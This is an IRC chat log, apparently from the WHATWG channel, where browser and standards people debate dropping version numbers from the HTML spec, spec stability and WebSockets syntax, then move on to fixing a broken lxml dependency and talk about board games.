| 22:57 | <jgraham> | realityking: If something is labelled as a "standard" but only one browser has full support, you still need caniuse.com to find out what you can safely use |
| 22:57 | <realityking> | paul_irish: is the best idea I've learned thus far and of course will also be required with stable documents every couple of years (because that won't mean that every browser has implemented something) |
| 22:57 | <annevk> | ment, I think we have only added things that are either useful or need to be implemented to support the web |
| 22:57 | <jcranmer> | the point is that "natural" evolution is not world-shatteringly different |
| 22:57 | <realityking> | the bad thing is that is usually requires javascript |
| 22:58 | <jgraham> | If all browsers have support for things that didn't make the standard, you still need caniuse.com to tell you what you can really use |
| 22:58 | <annevk> | ment, but of course opinions differ on "useful" |
| 22:58 | <jcranmer> | it's not like what is today a "computer" is tomorrow "shalgut" |
| 22:58 | <annevk> | ment, but if you think certain features should be taken out you should certainly say so |
| 22:58 | <jcranmer> | similarly, I expect HTML to evolve like that |
| 22:58 | <jcranmer> | gradual changes over time |
| 22:58 | <jgraham> | Getting all browsers to support exactly one version of a standard in common is not a stable equlibrium |
| 22:59 | <realityking> | jgraham: true, that's why it is the least worst alternative, but at least I wouldn't have to fear things change in the spec |
| 22:59 | <jgraham> | Or indeed an equlibrium at all |
| 22:59 | <jcranmer> | a primary goal of HTML is to specify what *browsers already do* |
| 22:59 | <jgraham> | realityking: The spec would still change |
| 22:59 | <ment> | annevk: whatwg sometimes also comes up with own creations ... like the websockets! wtf was that? |
| 22:59 | <realityking> | like I'd rather have a feature becomeing obsolete (or even be removed when possible) than a syntax change |
| 22:59 | <jcranmer> | if browsers do stuff like it works now... it won't change |
| 23:00 | <jgraham> | It's just it would occasionally go through some pointless process of being labelled with a new number |
| 23:00 | <jgraham> | You can't remove feature |
| 23:00 | <jcranmer> | CSS2.1 only removed features because no one implemented them |
| 23:00 | <jgraham> | And you can't really make syntax changes |
| 23:00 | <realityking> | jcranmer: case in point, if I remember correctly the canvas element started out as an empty element |
| 23:00 | <jgraham> | Yeah, if no one implemented a feature it is different |
| 23:00 | <realityking> | now it is not |
| 23:01 | <jcranmer> | so? |
| 23:01 | <annevk> | ment, you don't like WebSockets? |
| 23:01 | <jcranmer> | if you don't know what its contents mean, you ignore them |
| 23:01 | <jgraham> | realityking: Yes, experimental implementations of things are possible and have to change |
| 23:01 | <jgraham> | the trick is to make the changes before content relies on the feature |
| 23:01 | <jcranmer> | if you do know, you can handle that case |
| 23:02 | <jgraham> | after that you lose the early fluidity and things solidify into the long term form whether or not that is a good one |
| 23:02 | <foolip_> | well, the reddit comments were a bit better than slashdot at least |
| 23:02 | <jgraham> | foolip_: Damned by faint praise there |
| 23:02 | <ment> | annevk: well i don't mind the concept, but i don't understand why the hell it has the syntax it has (the worst from http + something that makes it actually incompatible (in most cases) with http) |
| 23:02 | <realityking> | but if I look into the HTML spec, see a cool feature, test it in say Webkit and Firefox and everything works shiny and 1 year later someone decides to change the syntax because the feature hasn't taken off yet? Then I may be screwed |
| 23:03 | <annevk> | ment, maybe you should check that out then ;) |
| 23:03 | <jgraham> | Yep. But you using the feature is it taking off somewhat |
| 23:03 | <jgraham> | Like I say, we try to do per-section markers |
| 23:03 | <annevk> | ment, I mean, I hope you realize we are not clueless and do things for a reason |
| 23:04 | <jgraham> | and two different browser engines with interoperable implentations is usually a pretty good indication that things will remain more or less stable |
| 23:04 | <realityking> | For CSS that isn't to bad, if I use something with a vendor prefix I know that this may change later and I need to be ready to modify it. HTML lacks a mechanism like this. |
| 23:04 | <realityking> | jgraham: per section markers would certainly be helpful |
| 23:05 | <espadrine> | realityking: you can't use the spec as your only documentation. |
| 23:05 | <ment> | annevk: i understand you are not clueless, but on the other hand you might have an impression that you know "what developers want" |
| 23:05 | <espadrine> | You never could. |
| 23:05 | <realityking> | but then you could just take the stable parts every two years and release it as HTMLX |
| 23:05 | <jgraham> | realityking: They exist. The only dfficulty is keeping them up-to-date |
| 23:06 | <realityking> | jgraham: do you mean the small browser icons to the right in the WHATWG version? |
| 23:06 | <annevk> | ment, I typically ask them, whenever I get the chance |
| 23:06 | <realityking> | aeh left |
| 23:06 | <ment> | annevk: ok, why haven't you abolished that ghastly http syntax? |
| 23:07 | <annevk> | ment, and it was actually a developer who came up with most of WebSockets |
| 23:08 | <realityking> | jgraham: overall I'd have a lot less (or even no) issues with this if something like the vendor prefixes were adopted for HTML |
| 23:08 | <annevk> | ment, it is needed to work with existing intermediaries; but the design of the protocol might drastically change |
| 23:08 | <realityking> | I realize that this is hard due to the way HTML is parsed |
| 23:08 | <realityking> | and it isn't easy to use fallbacks |
| 23:08 | <ment> | annevk: so the developer took existing http parser and bent it, right? |
| 23:08 | <annevk> | ment, it is likely to become more complicated due to the IETF |
| 23:08 | <annevk> | ment, no |
| 23:08 | <ment> | annevk: meanwhile the existing intermediaries are going to implement that by bending their own http parsers |
| 23:08 | <realityking> | that way I'd know when using an experimental implementation |
| 23:08 | <annevk> | ment, no they're not |
| 23:09 | <ment> | annevk: of course no-one is going to do it precisely and it will create many security holes along the way |
| 23:09 | <ment> | annevk: yes they are |
| 23:09 | <annevk> | no, because the current protocol is abandoned |
| 23:10 | <ment> | uh, which one? |
| 23:10 | <annevk> | I'm going to sleep |
| 23:10 | <ment> | well, good night |
| 23:11 | <annevk> | g'night |
| 23:15 | <Hixie> | hm, complete/ isn't updating anymore |
| 23:15 | <Hixie> | weird |
| 23:21 | <Hixie> | annevk: something seems broken with kaboom.cgi |
| 23:21 | <Hixie> | annevk: it doesn't seem to be updating from svn anymore or something |
| 23:22 | <Hixie> | annevk: not sure what's up |
| 23:22 | <Hixie> | annevk: doesn't seem to be a problem on my side |
| 23:24 | <annevk> | I should really be sleeping |
| 23:24 | <Hixie> | no worris |
| 23:24 | <Hixie> | it can wait |
| 23:24 | <annevk> | but euh, I don't get any error messages here |
| 23:25 | <annevk> | see pm |
| 23:26 | <Hixie> | some of the arguments against unversioned specs seem to be more strongly arguments against versioning. |
| 23:27 | <Hixie> | e.g. http://www.reddit.com/r/programming/comments/f5e8k/yesterday_the_w3c_proposed_a_html5_logo_with_a/c1dk1oo |
| 23:30 | <SlexAxton> | haha Hixie - rule number one - never read reddit or hacker news if you care about the subject matter |
| 23:30 | <realityking> | The idea is that you hopefully don't find any more errors in a stable spec |
| 23:31 | <realityking> | that isn't always true is of course a valid point |
| 23:31 | <MikeSmith> | I like to read reddit because it reassures me that even as stupid as I am, there are many people out there way stupider than me |
| 23:31 | <realityking> | but having cutting edge features, with little or no implementation experience in the spec certainly doesn't help |
| 23:32 | <Hixie> | i kinda like reddit personally :-) |
| 23:32 | <Hixie> | but whatever :-) |
| 23:32 | <SlexAxton> | oh, im a fan |
| 23:32 | <SlexAxton> | but anytime i release anything, or take part in something |
| 23:32 | <SlexAxton> | i have to ignore the post about it |
| 23:32 | <SlexAxton> | because it makes me rage |
| 23:32 | <SlexAxton> | and i like to keep a pokerface |
| 23:33 | <SlexAxton> | |
| 23:33 | <Hixie> | i just answer as many questions as i can :-) |
| 23:33 | <Hixie> | no need to rage :-) |
| 23:33 | <SlexAxton> | they aren't questions... |
| 23:33 | <SlexAxton> | (i was using reddit terms...) |
| 23:35 | <SlexAxton> | fwiw Hixie, I think it was a splendid move |
| 23:35 | <SlexAxton> | though I thought we already did that with <!DoCTyPe hTmL> |
| 23:35 | <Hixie> | if someone on reddit says something i disagree with, i implicitly treat it as a question of the form "so why am i wrong?" :-P |
| 23:36 | <Hixie> | yeah we basically had dropped versions from the language a while ago |
| 23:36 | <Hixie> | this just drops it from the spec too |
| 23:36 | <SlexAxton> | got it |
| 23:37 | <wilhelm> | I can see where that commenter, and others of similar opinions, are coming from. When wearing the author hat, I frequently use the HTML validator as one of many regression tests on my own work. My code varies, but the validator is assumed to be static. That gives some perceived safety. |
| 23:37 | <wilhelm> | Wearing the browser vendor hat, the issue looks different. (c: |
| 23:38 | <Hixie> | yeah, that's certainly one interpretation, though they often seem to phrase it in terms of browsers specifically |
| 23:38 | <gsnedders> | Waitwhat, wilhelm spoke in here? For the first time in how long? :P |
| 23:38 | <Hixie> | (i covered that the validator issue in the faq) |
| 23:38 | <Hixie> | (iirc) |
| 23:38 | <SlexAxton> | (yrc) |
| 23:39 | <MikeSmith> | yay for visit from wilhelm |
| 23:39 | <MikeSmith> | wilhelm please come back to Tokyo for a visit |
| 23:39 | <annevk> | wilhelm! |
| 23:40 | <wilhelm> | gsnedders: It's been a while, yes. (c: |
| 23:40 | <dglazkov> | Hixie: something to chew on: http://wiki.whatwg.org/wiki/Component_Model_Brainstorming#The_Bladerunner_Strawman |
| 23:40 | <wilhelm> | MikeSmith: I was there most of this autumn! I'll be back again. (c: |
| 23:40 | <gsnedders> | wilhelm: I'm not sure I've seen you in here since you convinced me to apply for Opera :) |
| 23:41 | <Hixie> | wilhelm: dude i still haven't found players for 1856, if you're going anywhere, come here! :-P |
| 23:41 | <SlexAxton> | Hixie: I appreciate the 'sleight of hand' comment about how if you justed willed browsers to support something crazy, they wouldn't. |
| 23:41 | <SlexAxton> | use that one more |
| 23:41 | <Hixie> | heh |
| 23:41 | <Hixie> | yeah, i liked the phrasing on that one |
| 23:41 | <annevk> | so the problem is that there is no lxml installed |
| 23:42 | <annevk> | and installing lxml via pip install or easy_install complains about missing gcc support |
| 23:42 | <Hixie> | SlexAxton: it's basically the same sentiment as the "i don't want to write dry scifi" thing i often say, but i might use this phrasing more |
| 23:42 | <Hixie> | annevk: why did it break? did lxml get uninstalled? |
| 23:43 | <annevk> | yeah, I set up Python in a different way and forgot I had that dependency |
| 23:43 | <wilhelm> | gsnedders: That sounds about right. I haven't been able to participate in much standards work for years, for various reasons. I'm slowly starting to follow the discussions again now. (c: |
| 23:43 | annevk | finds http://gsnedders.com/installing-lxml-on-dreamhost |
| 23:44 | <SlexAxton> | Hixie: yea, maybe add in examples of how half the stuff in html5 was straight out of ie5, etc, and how you just spec'd it. |
| 23:44 | <SlexAxton> | a lot of people don't realize that a lot of the new stuff has been supported for ages |
| 23:44 | <gsnedders> | annevk: heheh. |
| 23:44 | <gsnedders> | annevk: no idea if that's up-to-date or anything |
| 23:44 | <wilhelm> | Hixie: Hah. Same problem on this end. People just don't appreciate how wonderful trains are. |
| 23:44 | <wilhelm> | If a game has trains in it, it's almost certainly good. |
| 23:45 | <Hixie> | wilhelm: probably doesn't help that i always describe it as a terrible game, but man do i want to play it again |
| 23:45 | gsnedders | is curious about this game now |
| 23:45 | <wilhelm> | We should do TTD again too! |
| 23:46 | <Hixie> | sure |
| 23:46 | <Hixie> | let me know a few weeks in advance |
| 23:46 | <Hixie> | i have a big computer at home now so i can actually play games and stuff |
| 23:46 | <wilhelm> | Ooo. |
| 23:46 | <Hixie> | (big as opposed to a laptop) |
| 23:47 | annevk | gives it a try |